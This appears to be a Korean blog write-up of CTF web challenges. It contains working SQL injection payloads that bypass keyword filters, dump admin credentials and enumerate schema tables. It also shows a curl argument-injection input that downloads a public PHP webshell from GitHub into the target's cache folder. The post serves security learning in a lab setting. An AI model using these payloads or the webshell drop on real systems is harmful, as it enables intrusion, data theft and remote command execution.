반응형
1. UNION SQL Injection
- 입력값은 select, union, *, from, admin, 스페이스 등을 필터링함 (대소문자를 구분하는 필터링이기 때문에 대문자를 통해 쿼리 입력)
- 입력받은 SQL 쿼리는 다음의 결과 값을 출력해줌

- UNION과 %09를 통해 필터링을 우회하여 FLAG 출력
- UNION은 COLUMN 개수를 맞춰줘야 함 (user 테이블은 총 3개의 컬럼을 가짐)
- admin은 concat('ad','min') 으로 우회
http://localhost:8000/?uid=abcde%27%09UNION%09SELECT%09uid,upw,xid%09FROM%09user%09WHERE%09uid=concat(%27ad%27,%27min%27)%09--%09
# uid=abcde' UNION SELECT uid,upw,xid FROM user WHERE ud=concat('ad','min') --
2. UNION BLIND SQL Injection
- 입력값에 따라 다음 쿼리문을 출력해줌

- 그러나 플래그는 users 테이블이 아닌 다른 테이블에 있으므로, UNION을 활용하여 FLAG를 출력
- UNION 사용 시 컬럼 개수를 맞춰줘야 함(users는 4개의 column을 가짐)
a' UNION SELECT table_name, NULL, NULL, NULL FROM information_schema.TABLES where table_type='base table'; -- # 운영자가 직접 생성한 테이블을 출력
a' UNION SELECT column_name, NULL, NULL, NULL FROM information_schema.COLUMNS where table_name='realflag'; -- # realflag 테이블의 column을 출력
a' UNION SELECT a, b, c, d FROM realflag; --
3. Command Injection
- URL을 입력하면 curl 명령어를 실행하여 해당 url의 response html을 출력하고 ./cache 폴더에 저장함

- 입력값 url은 escapeshellcmd() 함수를 거치기 때문에 메타 문자를 이스케이프함
- 그러나 다음 문자들은 이스케이프 되지 않음 (인자를 받아주는 메타 문자)
- - (하이픈)
- =
- :
- /
- .
- %
- 다음과 같이 url을 입력하여 cmd에서 명령을 실행시켜주는 웹셀을 삽입해줌
https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php -o ./cache/webshell.php
반응형
'IT Dictionary > CTF & 보안' 카테고리의 다른 글
| CTF 3일차 (0) | 2026.01.22 |
|---|---|
| CTF 1일차 (0) | 2026.01.19 |